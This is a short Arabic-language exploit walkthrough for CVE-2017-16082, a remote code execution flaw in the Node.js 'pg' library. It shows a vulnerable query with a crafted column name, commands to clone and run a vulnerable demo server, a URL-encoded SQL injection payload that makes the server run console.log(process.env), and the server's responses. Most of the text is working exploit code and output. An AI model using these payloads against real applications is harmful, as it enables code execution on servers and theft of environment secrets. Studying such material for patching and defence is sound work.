
NodeJS + Postgres (تنفيذ التعليمات البرمجية عن بُعد) 🛰
الإصدارات المتأثرة من pg تحتوي على ثغرة تنفيذ التعليمات البرمجية عن بُعد تحدث عندما تحدد قاعدة البيانات أو الاستعلام اسم عمود مُصمَّم.
يوجد سيناريوهان محددان يحتمل أن يكون التطبيق فيهما عرضة للثغرة:
const { Client } = require('pg')
const client = new Client()
client.connect()
const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`
client.query(sql, (err, res) => {
client.end()
})
git clone https://github.com/nulldreams/CVE-2017-16082.git
cd CVE-2017-16082
npm i && node server.js
أرسل طلبًا إلى localhost:5000/api/v1/users?id=1
النتيجة
[
{
"id": 1,
"username": "wubba",
"password": "123",
"createdAt": "2018-11-27T09:19:54.000Z",
"updatedAt": "2018-11-27T09:19:54.000Z"
}
]
الآن، أرسل طلبًا باستخدام حمولة مثل هذه 1;SELECT 1 AS "\']=0;console.log(process.env)//" وقم بترميزها في مُرمِّز العناوين
الرابط النهائي: localhost:5000/api/v1/users?id=1%3BSELECT%201%20AS%20%22%5C%27%5D%3D0%3Bconsole.log(process.env)%2F%2F%22
[
{
"id": 1,
"username": "wubba",
"password": "123",
"createdAt": "2018-11-27T09:19:54.000Z",
"updatedAt": "2018-11-27T09:19:54.000Z"
},
{
"\\": 0
}
]
تحقق من طرفية الخادم.